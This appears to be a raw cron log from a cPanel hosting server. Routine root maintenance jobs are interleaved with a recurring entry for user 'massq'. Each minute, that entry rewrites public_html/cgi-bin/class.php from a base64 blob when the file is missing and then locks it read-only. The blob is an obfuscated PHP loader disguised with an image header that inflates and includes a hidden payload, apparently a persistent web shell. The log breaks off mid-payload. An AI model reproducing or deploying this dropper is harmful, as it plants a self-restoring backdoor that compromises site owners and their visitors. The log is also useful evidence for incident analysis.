Sep 12 18:30:01 server CROND[7671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:30:01 server CROND[7676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:30:01 server CROND[7677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:30:01 server CROND[7680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:30:01 server CROND[7679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:30:01 server CROND[7682]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:30:01 server CROND[7678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:31:01 server CROND[8500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:31:01 server CROND[8501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:31:01 server CROND[8502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:32:01 server CROND[8874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:32:01 server CROND[8875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:32:01 server CROND[8876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:33:01 server CROND[9275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:33:01 server CROND[9276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:33:01 server CROND[9277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:34:01 server CROND[9660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:34:01 server CROND[9662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:34:01 server CROND[9661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:35:01 server CROND[10196]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:35:01 server CROND[10200]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 18:35:01 server CROND[10201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:35:01 server CROND[10204]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:35:01 server CROND[10202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:35:01 server CROND[10203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:35:01 server CROND[10210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:35:01 server CROND[10205]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:35:01 server CROND[10208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:36:01 server CROND[11040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:36:01 server CROND[11041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:36:01 server CROND[11042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:37:01 server CROND[11435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:37:01 server CROND[11436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:37:01 server CROND[11438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:38:01 server CROND[11823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:38:01 server CROND[11822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:38:01 server CROND[11825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:39:01 server CROND[12217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:39:01 server CROND[12218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:39:01 server CROND[12219]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 18:39:01 server CROND[12220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:40:01 server CROND[12741]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:40:01 server CROND[12742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:40:01 server CROND[12753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:40:01 server CROND[12751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:40:01 server CROND[12752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:40:01 server CROND[12749]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:40:01 server CROND[12750]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:40:01 server CROND[12760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:41:01 server CROND[13571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:41:01 server CROND[13572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:41:01 server CROND[13574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSY